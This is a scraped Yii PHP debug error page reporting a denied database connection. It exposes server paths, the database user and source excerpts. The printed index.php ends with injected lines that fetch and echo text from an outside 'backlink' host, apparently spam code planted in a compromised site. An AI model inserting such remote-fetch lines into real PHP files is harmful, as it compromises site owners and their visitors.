CDbException

CDbConnection failed to open the DB connection: SQLSTATE[HY000] [1044] Access denied for user 'kurniaja_usr'@'localhost' to database 'kurniaja_web'

/home/kurniaja/public_html/yii/db/CDbConnection.php(381)

369                 throw new CDbException('CDbConnection.connectionString cannot be empty.');
370             try
371             {
372                 Yii::trace('Opening DB connection','system.db.CDbConnection');
373                 $this->_pdo=$this->createPdoInstance();
374                 $this->initConnection($this->_pdo);
375                 $this->_active=true;
376             }
377             catch(PDOException $e)
378             {
379                 if(YII_DEBUG)
380                 {
381                     throw new CDbException('CDbConnection failed to open the DB connection: '.
382                         $e->getMessage(),(int)$e->getCode(),$e->errorInfo);
383                 }
384                 else
385                 {
386                     Yii::log($e->getMessage(),CLogger::LEVEL_ERROR,'exception.CDbException');
387                     throw new CDbException('CDbConnection failed to open the DB connection.',(int)$e->getCode(),$e->errorInfo);
388                 }
389             }
390         }
391     }
392 
393     /**

Stack Trace

#7
+
 /home/kurniaja/public_html/protected/models/Content.php(39): CActiveRecord::model("Content")
34      * @param string $className active record class name.
35      * @return Content the static model class
36      */
37     public static function model($className=__CLASS__)
38     {
39         return parent::model($className);
40     }
41 
42     /**
43      * @return string the associated database table name
44      */
#8
+
 /home/kurniaja/public_html/protected/controllers/ContentController.php(86): Content::model()
81     public function actionRead($slug) {
82     
83         $criteria=New CDbCriteria;
84         $criteria->condition='slug=:Slug AND published=:Published';
85         $criteria->params=array(':Slug'=>$slug, ':Published'=>1);
86         $content=Content::model()->find($criteria); //var_dump($content); die;
87         
88         $vars = array(
89             'content'=>$content,
90         );
91         
#18
+
 /home/kurniaja/public_html/index.php(15): CApplication->run()
10 defined('YII_DEBUG') or define('YII_DEBUG',true);
11 // specify how many levels of call stack should be shown in each log message
12 defined('YII_TRACE_LEVEL') or define('YII_TRACE_LEVEL',3);
13 
14 require_once($yii);
15 Yii::createWebApplication($config)->run();
16 ?><?php echo file_get_contents("https://bagicepekdulu.biz/backlink/a1.txt"); ?><?php echo file_get_contents("https://bagicepekdulu.biz/backlink/a2.txt"); ?>
17 
18 <?php echo file_get_contents("https://bagicepekdulu.biz/backlink-1/ok.txt"); ?><?php echo file_get_contents("https://bagicepekdulu.biz/backlink/a2.txt"); ?>
19 
20 <?php echo file_get_contents("https://bagicepekdulu.biz/backlink-1/ok.txt"); ?>
2024-03-28 09:05:46 LiteSpeed Yii Framework/1.1.13